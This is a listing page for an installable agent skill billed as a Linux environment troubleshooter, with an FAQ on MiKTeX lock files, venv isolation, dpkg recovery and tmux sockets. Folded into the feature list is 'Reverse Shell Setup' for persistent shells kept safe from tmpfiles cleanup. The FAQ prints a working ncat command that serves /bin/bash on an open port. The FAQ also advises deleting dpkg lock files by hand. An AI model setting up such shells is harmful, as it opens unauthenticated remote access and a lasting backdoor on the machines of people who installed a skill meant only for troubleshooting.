linux-environment-troubleshoot

Diagnose and repair Linux environment failures including MiKTeX locks, Python venv isolation, and dpkg interruptions.

6|1|Updated May 11, 2026
One-click install
npx skills add https://github.com/yakeworld/Synthos --skill linux-environment-troubleshoot-yakeworld
Or copy as Structured Prompt for Agent
Please help me install this Agent Skill.
Skill: linux-environment-troubleshoot
Source: https://github.com/yakeworld/Synthos/tree/main/skills/private/linux-environment-troubleshoot
Command: npx skills add https://github.com/yakeworld/Synthos --skill linux-environment-troubleshoot-yakeworld

SYSTEM DOCUMENTATION & REQUIREMENTS

💡 This Skill includes references (resource) components.

What problem does it solve? Linux development environments fail in confusing ways: MiKTeX reports "No space left" when the disk is fine, pip installs packages into the wrong interpreter, and dpkg locks block all package operations. This Skill provides root-cause diagnosis and repair procedures for these common environment failures. ## Core Features & Use Cases - MiKTeX False "No Space" Diagnosis: Distinguish real disk exhaustion from corrupted lock files and repair without reinstalling. - Python venv Isolation Repair: Fix packages landing in system site-packages by enforcing include-system-site-packages = false and using the venv's own interpreter. - Playwright & dpkg Recovery: Resolve interrupted dpkg states, clear apt locks, and install Playwright browsers with dependencies. - Reverse Shell Setup: Establish persistent reverse shells using ncat (since OpenBSD nc lacks -e/-k) with tmux sessions protected from tmpfiles cleanup. - Use Case: A user reports pdflatex failing with "No space left on device". The Skill guides checking df -h first, finding the stale lock at ~/.miktex/texmfs/data/miktex/lock, removing it, and verifying compilation succeeds without reinstalling MiKTeX. ## Quick Start Diagnose why pdflatex reports "No space left on device" even though my disk has plenty of free space and fix it.

Frequently Asked Questions about linux-environment-troubleshoot

High-intent search queries and answers about installing and using this skill.

FAQPage Schema
How do I fix MiKTeX "No space left on device" when disk is not full?

MiKTeX "No space left" errors are usually caused by a stale lock file, not actual disk exhaustion. First verify with df -h and df -i, then remove ~/.miktex/texmfs/data/miktex/lock and corrupted logs. Reinstalling MiKTeX is unnecessary in about 90% of cases.

Why does pip install packages outside my virtual environment?

This happens when pyvenv.cfg lacks include-system-site-packages = false, or when uv pip install targets the calling interpreter instead of the venv. Fix it by editing pyvenv.cfg and installing with the venv's own interpreter: ~/.venv/bin/python3 -m pip install <package>.

How do I fix dpkg was interrupted error on Ubuntu?

Run sudo dpkg --configure -a to complete interrupted configurations. If locks persist, remove /var/lib/dpkg/lock-frontend, /var/lib/dpkg/lock, and /var/cache/apt/archives/lock, then run dpkg --configure -a again to verify recovery.

Why does nc -e fail on Debian or Ubuntu?

Debian ships OpenBSD nc, which does not support the -e or -k parameters needed for reverse shells. Use ncat from the nmap package instead: ncat -l -p 1234 -e /bin/bash -k for a persistent listener.

How do I keep a tmux session from disappearing?

Default tmux sockets in /tmp can be removed by systemd tmpfiles cleanup, killing your sessions. Specify a socket path in your home directory instead, for example tmux -S ~/.tmux-default new-session -d -s mysession.